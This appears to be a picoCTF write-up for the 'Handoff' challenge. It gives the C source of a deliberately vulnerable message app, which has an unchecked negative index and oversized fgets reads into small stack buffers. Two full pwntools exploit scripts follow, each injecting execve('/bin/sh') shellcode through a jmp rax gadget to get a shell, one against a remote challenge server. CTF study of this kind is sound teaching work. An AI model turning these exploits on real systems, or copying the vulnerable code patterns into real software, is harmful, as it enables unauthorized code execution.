Handoff

#buffer-overflow#integer-overflow

Contents

Source

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64

typedef struct entry {
    char name[8];
    char msg[64];
} entry_t;

void print_menu() {
    puts("What option would you like to do?");
    puts("1. Add a new recipient");
    puts("2. Send a message to a recipient");
    puts("3. Exit the app");
}

int vuln() {
    char feedback[8];
    entry_t entries[10];
    int total_entries = 0;
    int choice = -1;
    // Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
    while (true) {
        print_menu();
        if (scanf("%d", &choice) != 1) exit(0);
        getchar(); // Remove trailing \n

        // Add entry
        if (choice == 1) {
            choice = -1;
            // Check for max entries
            if (total_entries >= MAX_ENTRIES) {
                puts("Max recipients reached!");
                continue;
            }

            // Add a new entry
            puts("What's the new recipient's name: ");
            fflush(stdin);
            fgets(entries[total_entries].name, NAME_LEN, stdin);
            total_entries++;

        }
        // Add message
        else if (choice == 2) {
            choice = -1;
            puts("Which recipient would you like to send a message to?");
            if (scanf("%d", &choice) != 1) exit(0);
            getchar();

            if (choice >= total_entries) {
                puts("Invalid entry number");
                continue;
            }

            puts("What message would you like to send them?");
            fgets(entries[choice].msg, MSG_LEN, stdin);
        }
        else if (choice == 3) {
            choice = -1;
            puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
            fgets(feedback, NAME_LEN, stdin);
            feedback[7] = '\0';
            break;
        }
        else {
            choice = -1;
            puts("Invalid option");
        }
    }
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);  // No buffering (immediate output)
    vuln();
    return 0;
}

Solution 1

#!/usr/bin/env python3

from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./handoff_patched")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
b vuln
b *0x4013d0
b *0x4013ac
c
"""

def conn():
    if args.REMOTE:
        r = remote("shape-facility.picoctf.net", 62313)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()

    # a random readable writable address for "/bin/sh\0"
    binsh = 0x404048

    # gadget from God
    jmp_rax = 0x4011ae

    # shellcode (I made it only 40 bytes long!)
    #     read(stdin, binsh, 8);
    #     execve(binsh, NULL, NULL);
    shellcode = asm(f"""
                    xor rdi, rdi;
                    mov rsi, {binsh};
                    mov rdx, 8;
                    xor rax, rax;
                    syscall;
                    mov rdi, rsi;
                    xor rsi, rsi;
                    xor rdx, rdx;
                    mov rax, 59;
                    syscall;
                    """)

    # Send a message to a recipient
    r.sendlineafter(b'Exit the app', b'2')

    # negative index bug, unpredictable things will happen if the index is negative
    # fgets will buffer overflow its own stack
    r.sendlineafter(b'send a message to?', b'-1')

    # write shellcode on stack and execute 
    # rax will be pointing at first byte of the payload
    # (the shellcode must be less than or equal to 40 bytes)
    payload = shellcode + p64(jmp_rax)

    # send the payload
    r.sendlineafter(b'like to send them?', payload)

    # SYS_read is invoked. write /bin/sh on 0x404048
    r.sendline(b'/bin/sh\0')

    # SYS_execve is invoked and enjoy the shell privilege
    r.interactive()



if __name__ == "__main__":
    main()

Solution 2

#!/usr/bin/env python3

from pwn import *

elf = ELF("./handoff_patched")

context.binary = elf
context.arch = "amd64"
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
b *0x4013e8
c
"""

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r



nop = lambda n : b'\x90' * n

def main():
    r = conn()

    # gadget from God
    jmp_rax = 0x4011ae

    # shellcode catching net
    shellcode_catch = nop(20) 

    # shellcode jump to execve
    shellcode_jmp    = asm("""
                           sub rax, 0x2d4 - 8;
                           jmp rax;
                           """)

    # shellcode execve
    shellcode_execve = asm("""
                           mov rdi, rax;
                           add rdi, 50;
                           xor rsi, rsi;
                           xor rdx, rdx;
                           mov rax, 59
                           syscall;
                           """).ljust(50, b'\x90') + b'/bin/sh\0'


    #print(shellcode_jmp)
    #exit()

    # payload
    # because 8th byte will be replaced with 0, we need to shift the shellcode a little bit 
    payload_jmp = (nop(3) + shellcode_jmp).ljust(20, b'\x90') + p64(jmp_rax)



    # Name doesn't really matter a lot, fill up with nop just in case 
    r.recvuntil(b'Exit the app')
    r.sendline(b'1')

    r.recvuntil(b"What's the new recipient's name: ")
    r.sendline(shellcode_catch)



    # Write shellcode on stack
    r.recvuntil(b'Exit the app')
    r.sendline(b'2')

    r.recvuntil(b'Which recipient would you like to send a message to?')
    r.sendline(b'0')

    r.recvuntil(b'like to send them?')
    r.sendline(shellcode_execve)



    # jump to beginning of feedback and execute
    r.recvuntil(b'Exit the app')
    r.sendline(b'3')
    r.recvuntil(b'Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ')
    r.sendline(payload_jmp)


    # enjoy the shell
    r.interactive()



if __name__ == "__main__":
    main()